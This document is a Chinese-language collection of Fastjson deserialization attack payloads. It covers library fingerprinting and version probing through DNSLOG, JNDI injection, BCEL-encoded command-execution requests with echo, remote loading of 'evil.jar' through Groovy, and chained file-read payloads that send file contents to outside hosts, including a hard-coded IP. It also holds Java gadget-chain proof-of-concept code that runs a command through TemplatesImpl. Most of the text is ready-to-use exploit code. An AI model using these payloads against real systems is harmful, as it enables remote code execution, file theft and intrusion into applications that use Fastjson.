说明
本项目涉及的一些姿势和payload是从之前的随手记的笔记直接粘进来的,很多找不到出处了所以来源未贴出来,望师傅们见谅。
高版本的很多细节还有待更新。
浅蓝Kcon议题内容由@su18师傅整理
各版本复现payload来自@kezibei师傅,我原项目基础上加了maven依赖,做了一点代码修改。
判断是否用了fastjson 鉴别fastjson DNSLOG
1 { "@type" : "java.net.InetSocketAddress" { "address" : , "val" : "dnslog.com" } }
1 { { "@type" : "java.net.URL" , "val" : "http://dnslog.com" } : "a" }
根据解析变化
1 { "a" : new a(1 ), "b" : x'11 ',
根据响应状态
鉴别org.json 特殊字符
鉴别gson 浮点类型精度丢失
1 { a: 1.111111111111111111111111111 }
注释符
鉴别jackson 浮点类型精度丢失
1 { a: 1.111111111111111111111111111 }
注释符
不支持单引号作为界定符
多余的类成员
如果目标回显详细报错信息,稍微破坏一下json结构,比如多一个{,比如简简单单把{}变成a。就可以看出来到底是不是jackson。 如果目标不回显详细报错信息,而是只有一个500或者error,那么jackson不允许存在不相关的键值,fastjson允许这个特性就可以派上用场了。 比如原json如下。
1 { "pageNumber" : 1 , "pageSize" : 1 }
加上一个不相关的键值
1 { "pageNumber" : 1 , "pageSize" : 1 , "test" : 1 }
jackson就会报错,fastjson则不会,而是和之前一模一样。
版本探测 无报错信息探测 https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA 【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80
1 { "zero" : { "@type" : "java.lang.Exception" , "@type" : "org.XxException" } }
【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83
1 { "zero" : { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.ByteArrayOutputStream" } }
【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83
1 2 3 4 5 6 7 8 9 { "a" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "b" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" } }
【不报错】1.2.24 【报错】1.2.25-1.2.83
1 { "zero" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" } }
延迟探测 原理同ssrf漏洞。请求本机已开放端口不延时,请求不开放的端口则延时。 fastjson 1.1.15-1.2.24
1 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://127.0.0.1:1099/badClassName" , "autoCommit" : true }
通用payload,可用于parseObject的场景
1 { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://127.0.0.1:8088/badClassName" , "autoCommit" : true } } "" }
fastjson 1.2.9-1.2.47
1 2 3 4 5 6 7 8 9 10 11 { "a" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "b" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://localhost:808/badNameClass" , "autoCommit" : true } }
通用payload,可用于parseObject的场景
1 2 3 4 5 6 7 8 9 10 11 { "@type" : "com.alibaba.fastjson.JSONObject" , { "a" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "b" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://localhost:8088/badNameClass" , "autoCommit" : true } } } "" }
Fastjson 1.2.36 - 1.2.62 利用正则dos洞,进行探测。逐步加a,直到延迟为止
1 2 3 4 5 6 { "regex" : { "$ref" : "$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']" } , "blue" : "aaaaaaaaaaaa!" }
参考https://mp.weixin.qq.com/s/5mO1L5o8j_m6RYM6nO-pAA
异常回显 异常回显 fastjson 精确版本号
1 2 { "@type" : "java.lang.AutoCloseable"
dns探测 主要是利用各个类被加入黑名单的方式进行判断,但此方法准确性不高。 原理重点关注MiscCodec处理时会去nwe URL,然后通过后面的map#put触发计算key的hash。学习urldns链容易理解。
fastjson <1.2.43
1 2 { "@type" : "java.net.URL" , "val" : "http://dnslog" } { { "@type" : "java.net.URL" , "val" : "http://dnslog" } : "x" }
fastjson <1.2.48
1 { "@type" : "java.net.InetAddress" , "val" : "dnslog" }
fastjson <1.2.68
1 2 3 4 5 6 7 8 { "@type" : "java.net.Inet4Address" , "val" : "dnslog" } { "@type" : "java.net.Inet6Address" , "val" : "dnslog" } { { "@type" : "java.net.URL" , "val" : "dnslog" } : "aaa" } { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.net.URL" , "val" : "http://dnslog" } } "" } Set[ { "@type" : "java.net.URL" , "val" : "http://dnslog" } ] Set[ { "@type" : "java.net.URL" , "val" : "http://dnslog" } { "@type" : "java.net.InetSocketAddress" { "address" : , "val" : "dnslog" } } { { "@type" : "java.net.URL" , "val" : "http://dnslog" } : 0
精确探索autoType是否开启,开启后能打更多payloadhttps://github.com/pen4uin/awesome-java-security/tree/main/alibaba fastjson
1 [ { "@type" : "java.net.CookiePolicy" } , { "@type" : "java.net.Inet4Address" , "val" : "ydk3cz.dnslog.cn" } ]
关键rce版本探测 1.2.24 版本,用上面的延时探测即可 1.2.47 版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [ { "@type" : "java.lang.Class" , "val" : "java.io.ByteArrayOutputStream" } , { "@type" : "java.io.ByteArrayOutputStream" } , { "@type" : "java.net.InetSocketAddress" { "address" : , "val" : "dnslog" } } ]
1.2.68版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [ { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.ByteArrayOutputStream" } , { "@type" : "java.io.ByteArrayOutputStream" } , { "@type" : "java.net.InetSocketAddress" { "address" : , "val" : "dnslog" } } ]
1.2.80 版本探测 如果收到了两个 dns 请求,则证明使用了 1.2.83 版本 如果收到了一个 dns 请求,则证明使用了 1.2.80 版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [ { "@type" : "java.lang.Exception" , "@type" : "com.alibaba.fastjson.JSONException" , "x" : { "@type" : "java.net.InetSocketAddress" { "address" : , "val" : "first.dnslog.cn" } } } , { "@type" : "java.lang.Exception" , "@type" : "com.alibaba.fastjson.JSONException" , "message" : { "@type" : "java.net.InetSocketAddress" { "address" : , "val" : "second.dnslog.cn" } } } ]
探测环境
org.springframework.web.bind.annotation.RequestMapping
org.apache.catalina.startup.Tomcat
groovy.lang.GroovyShell
com.mysql.jdbc.Driver
java.net.http.HttpClient
如果系统存在这个类,会返回一个类实例,如果不存在会返回 null
1 2 3 4 5 6 7 8 9 10 11 12 { "z" : { "@type" : "java.lang.Class" , "val" : "org.springframework.web.bind.annotation.RequestMapping" } } { "z" : { "@type" : "java.lang.Class" , "val" : "java.net.http.HttpClient" } }
通过使用 Character 将报错回显在 message 中
1 2 3 4 5 6 { "x" : { "@type" : "java.lang.Character" { "@type" : "java.lang.Class" , "val" : "com.mysql.jdbc.Driver" } }
通过使用 DNSLOG 来探测依赖库
1 2 3 4 5 6 7 8 9 10 { "@type" : "java.net.Inet4Address" , "val" : { "@type" : "java.lang.String" { "@type" : "java.util.Locale" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "java.util.Locale" , "language" : { "@type" : "java.lang.String" { 1 : { "@type" : "java.lang.Class" , "val" : "groovy.lang.GroovyShell" } } , "country" : "gv.su18.dnslog.pw" } } }
文件写,结合 commons-io 代码(stream 里面写 68 的 payload)
1 2 3 { "x" : [ { "@type" : "java.lang.Exception" , "@type" : "ognl.OgnlException" , } , { "@type" : "java.lang.Class" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "ognl.OgnlException" , "_evaluation" : "" } } , { "@type" : "ognl.Evaluation" , "node" : { "@type" : "ognl.ASTMethod" , "p" : { "@type" : "ognl.OgnlParser" , "stream" : } } } ] }
aspectj + ognl 任意文件读取 + DNSLOG 回显 打入白名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [ { "@type" : "java.lang.Exception" , "@type" : "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" } , { "@type" : "java.lang.Class" , "val" : { "@type" : "java.lang.String" { "@type" : "java.util.Locale" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" , "newAnnotationProcessorUnits" : [ { } ] } } } , { "x" : { "@type" : "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit" , "@type" : "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit" , "fileName" : "aaa" } } ]
aspectj + ognl 文件读取加 DNSLOG 回显
1 2 3 { "a" : { "@type" : "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit" , "fileName" : "/Users/su18/Downloads/1.txt" } , "b" : { "@type" : "java.net.Inet4Address" , "val" : { "@type" : "java.lang.String" { "@type" : "java.util.Locale" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "java.util.Locale" , "language" : { "@type" : "java.lang.String" { "$ref" : "$" } , "country" : "aw.su18.dnslog.pw" } } } } }
commons-io + ognl + URLReader 单字节文件读取(回显情况观察数值)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "su14" : { "@type" : "java.lang.Exception" , "@type" : "ognl.OgnlException" } , "su15" : { "@type" : "java.lang.Class" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "ognl.OgnlException" , "_evaluation" : "" } } , "su16" : { "@type" : "ognl.Evaluation" , "node" : { "@type" : "ognl.ASTMethod" , "p" : { "@type" : "ognl.OgnlParser" , "stream" : { "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "file:///Users/su18/Downloads/1.txt" } , "charsetName" : "UTF-8" , "bufferSize" : 1024 } , "boms" : [ { "@type" : "org.apache.commons.io.ByteOrderMark" , "charsetName" : "UTF-8" , "bytes" : [ 98 ] } ] } } } } , "su17" : { "$ref" : "$.su16.node.p.stream" } , "su18" : { "$ref" : "$.su17.bOM.bytes" } }
commons-io + ognl + URLReader 单字节文件读取(报错布尔)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [ { "su15" : { "@type" : "java.lang.Exception" , "@type" : "ognl.OgnlException" , } } , { "su16" : { "@type" : "java.lang.Class" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "ognl.OgnlException" , "_evaluation" : "" } } } , { "su17" : { "@type" : "ognl.Evaluation" , "node" : { "@type" : "ognl.ASTMethod" , "p" : { "@type" : "ognl.OgnlParser" , "stream" : { "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "file:///Users/su18/Downloads/1.txt" } , "charsetName" : "UTF-8" , "bufferSize" : 1024 } , "boms" : [ { "@type" : "org.apache.commons.io.ByteOrderMark" , "charsetName" : "UTF-8" , "bytes" : [ 98 ] } ] } } } } } , { "su18" : { "$ref" : "$[2].su17.node.p.stream" } } , { "su19" : { "$ref" : "$[3].su18.bOM.bytes" } } , { "su20" : { "@type" : "ognl.Evaluation" , "node" : { "@type" : "ognl.ASTMethod" , "p" : { "@type" : "ognl.OgnlParser" , "stream" : { "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "org.apache.commons.io.input.CharSequenceReader" , "charSequence" : { "@type" : "java.lang.String" { "$ref" : "$[4].su19" } , "start" : 0 , "end" : 0 } , "charsetName" : "UTF-8" , "bufferSize" : 1024 } , "boms" : [ { "@type" : "org.apache.commons.io.ByteOrderMark" , "charsetName" : "UTF-8" , "bytes" : [ 1 ] } ] } } } } } , { "su21" : { "$ref" : "$[5].su20.node.p.stream" } } ]
commons-io + ognl + URLReader 单字节文件读取 HTTPLog 布尔回显(错误的时候有 log,正确时 无 log)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [ { "su15" : { "@type" : "java.lang.Exception" , "@type" : "ognl.OgnlException" , } } , { "su16" : { "@type" : "java.lang.Class" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "ognl.OgnlException" , "_evaluation" : "" } } } , { "su17" : { "@type" : "ognl.Evaluation" , "node" : { "@type" : "ognl.ASTMethod" , "p" : { "@type" : "ognl.OgnlParser" , "stream" : { "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "file:///Users/su18/Downloads/1.txt" } , "charsetName" : "UTF-8" , "bufferSize" : 1024 } , "boms" : [ { "@type" : "org.apache.commons.io.ByteOrderMark" , "charsetName" : "UTF-8" , "bytes" : [ 98 ] } ] } } } } } , { "su18" : { "$ref" : "$[2].su17.node.p.stream" } } , { "su19" : { "$ref" : "$[3].su18.bOM.bytes" } } , { "su22" : { "@type" : "ognl.Evaluation" , "node" : { "@type" : "ognl.ASTMethod" , "p" : { "@type" : "ognl.OgnlParser" , "stream" : { "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : { "@type" : "java.lang.String" { "@type" : "java.net.URL" , "val" : { "@type" : "java.lang.String" { "@type" : "java.util.Locale" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "java.util.Locale" , "language" : "http://120.48.129.28:8080/test?" , "country" : { "@type" : "java.lang.String" { "$ref" : "98" } } } } } , "charsetName" : "UTF-8" , "bufferSize" : 1024 } , "boms" : [ { "@type" : "org.apache.commons.io.ByteOrderMark" , "charsetName" : "UTF-8" , "bytes" : [ 1 ] } ] } } } } } , { "su23" : { "$ref" : "$[5].su22.node.p.stream" } } , { "su20" : { "@type" : "ognl.Evaluation" , "node" : { "@type" : "ognl.ASTMethod" , "p" : { "@type" : "ognl.OgnlParser" , "stream" : { "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "org.apache.commons.io.input.CharSequenceReader" , "charSequence" : { "@type" : "java.lang.String" { "$ref" : "$[4].su19" } , "start" : 0 , "end" : 0 } , "charsetName" : "UTF-8" , "bufferSize" : 1024 } , "boms" : [ { "@type" : "org.apache.commons.io.ByteOrderMark" , "charsetName" : "UTF-8" , "bytes" : [ 1 ] } ] } } } } } , { "su21" : { "$ref" : "$[7].su20.node.p.stream" } } ]
aspectj 读文件 + Character 报错回显
1 2 3 4 { "@type" : "java.lang.Character" { "c" : { "@type" : "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit" , "fileName" : "/Users/su18/Downloads/1.txt" } }
commons-io + ognl + URLReader + aspectj HTTP Log 回显
1 { "su14" : { "@type" : "java.lang.Exception" , "@type" : "ognl.OgnlException" } , "su15" : { "@type" : "java.lang.Class" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "ognl.OgnlException" , "_evaluation" : "" } } , "su16" : { "@type" : "ognl.Evaluation" , "node" : { "@type" : "ognl.ASTMethod" , "p" : { "@type" : "ognl.OgnlParser" , "stream" : { "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : { "@type" : "java.lang.String" { "@type" : "java.net.URL" , "val" : { "@type" : "java.lang.String" { "@type" : "java.util.Locale" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "java.util.Locale" , "language" : "http://x.x.x.x:8080/test?" , "country" : { "@type" : "java.lang.String" [ { "@type" : "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit" , "fileName" : "/Users/su18/Downloads/1.txt" } ] } } } } , "charsetName" : "UTF-8" , "bufferSize" : 1024 } , "boms" : [ { "@type" : "org.apache.commons.io.ByteOrderMark" , "charsetName" : "UTF-8" , "bytes" : [ 1 ] } ] } } } } , "su17" : { "$ref" : "$.su16.node.p.stream" } }
groovy 远程类加载 加白名单
1 2 3 4 5 { "@type" : "java.lang.Exception" , "@type" : "org.codehaus.groovy.control.CompilationFailedException" , "unit" : { }
远程类加载
1 2 3 4 5 6 7 8 9 10 { "@type" : "org.codehaus.groovy.control.ProcessingUnit" , "@type" : "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit" , "config" : { "@type" : "org.codehaus.groovy.control.CompilerConfiguration" , "classpathList" : [ "http://.x.x.x:8080/evil.jar" ] } , "gcl" : null , "destDir" : "/tmp" }
利用链挖掘 https://xz.aliyun.com/t/7482 https://xz.aliyun.com/t/7789#toc-4 主要用codeql进行挖掘
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import java import semmle.code.java.dataflow.FlowSources import semmle.code.java.dataflow.TaintTracking2 import DataFlow2: : PathGraph class JNDIMethod extends Method{ JNDIMethod(){ this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming" , "Context" ) and this.hasName("lookup" )} } class MyTaintTrackingConfiguration extends TaintTracking2: : Configuration { MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" } override predicate isSource(DataFlow: : Node source) { exists(FieldAccess fac| source.asExpr() = fac )} override predicate isSink(DataFlow: : Node sink) { exists(MethodAccess call | call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0 ) )} } from MyTaintTrackingConfiguration config, DataFlow2: : PathNode source, DataFlow2: : PathNode sink where config.hasFlowPath(source, sink) select source.getNode(), source, sink, sink.getNode()
FastJson与原生反序列化 https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson与原生反序列化/ 利用fastjson调用get、set的特性,构造出新的反序列化利用链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class Test { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value);} public static void main(String[ ] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[ ] { } , clazz); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");" ); clazz.addConstructor(constructor); byte[ ] [ ] bytes = new byte[ ] [ ] { clazz.toBytecode()} ; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "y4tacker" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject();} }
fastjson2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import com.alibaba.fastjson2.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class Test { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value);} public static void main(String[ ] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[ ] { } , clazz); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");" ); clazz.addConstructor(constructor); byte[ ] [ ] bytes = new byte[ ] [ ] { clazz.toBytecode()} ; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "y4tacker" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject();} }
各版本利用 除了考虑Fastjson版本,还得考虑JDK版本,中间件版本,第三方依赖版本。
JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。(更高版本也有绕过) 更高版本绕过可用https://github.com/veracode-research/rogue-jndi
jndi
JdbcRowSetImpl
C3p0#JndiRefForwardingDataSource
JndiDataSourceFactory
bcel
tomcat#dbcp
ibatis
TemplatesImpl
Fastjson 1.2.22-1.2.24 JdbcRowSetImpl
1 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://127.0.0.1:1099/badClassName" , "autoCommit" : true }
c3p0#JndiRefForwardingDataSource
JdbcRowSetImpl无法成功可以一试
1 { "@type" : "com.mchange.v2.c3p0.JndiRefForwardingDataSource" , "jndiName" : "rmi://127.0.0.1:1099/badClassName" , "loginTimeout" : 0 }
shiro#JndiObjectFactory
1 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "rmi://127.0.0.1:9050/exploit" }
shiro#JndiRealmFactory
1 { "@type" : "org.apache.shiro.realm.jndi.JndiRealmFactory" , "jndiNames" : "rmi://127.0.0.1:9050/exploit" }
bcel
可用于解决不出网利用。 需要注意在Java 8u251以后,bcel类被删除。 tomcat7 org.apache.tomcat.dbcp.dbcp.BasicDataSource tomcat8及其以后 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
Poc
1 2 3 4 5 6 7 8 9 10 11 { { "x" : { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL$$$l$8b$I$A$..." } } : "x" }
exp 执行命令回显.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /json HTTP/1.1 Host: 127.0 .0 .1 : 9092 Content-Type: application/json cmd: whoami Content-Length: 3327 { { "@type" : "com.alibaba.fastjson.JSONObject" , "x" : { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$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ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A" } } : "x" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /json HTTP/1.1 Host: 127.0 .0 .1 : 9092 Content-Type: application/json cmd: ver && echo fastjson Content-Length: 3327 { { "@type" : "com.alibaba.fastjson.JSONObject" , "x" : { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL$$$l$8b$I$A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r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A" } } : "x" }
Fastjson 1.2.33-1.2.47 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 POST /json HTTP/1.1 Host: 127.0 .0 .1 : 9092 Content-Type: application/json cmd: whoami Content-Length: 3647 { "xx" : { "@type" : "java.lang.Class" , "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" } , "x" : { "name" : { "@type" : "java.lang.Class" , "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , { "@type" : "com.alibaba.fastjson.JSONObject" , "c" : { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$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$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A" } } : "xxx" } }
1.2.33<=fastjson<=12.36
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 { "name" : { "@type" : "java.lang.Class" , "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" } , "x" : { "name" : { "@type" : "java.lang.Class" , "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , { "@type" : "com.alibaba.fastjson.JSONObject" , "c" : { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL..." } } : "ddd" } }
1.2.37<=fastjson<=1.2.47
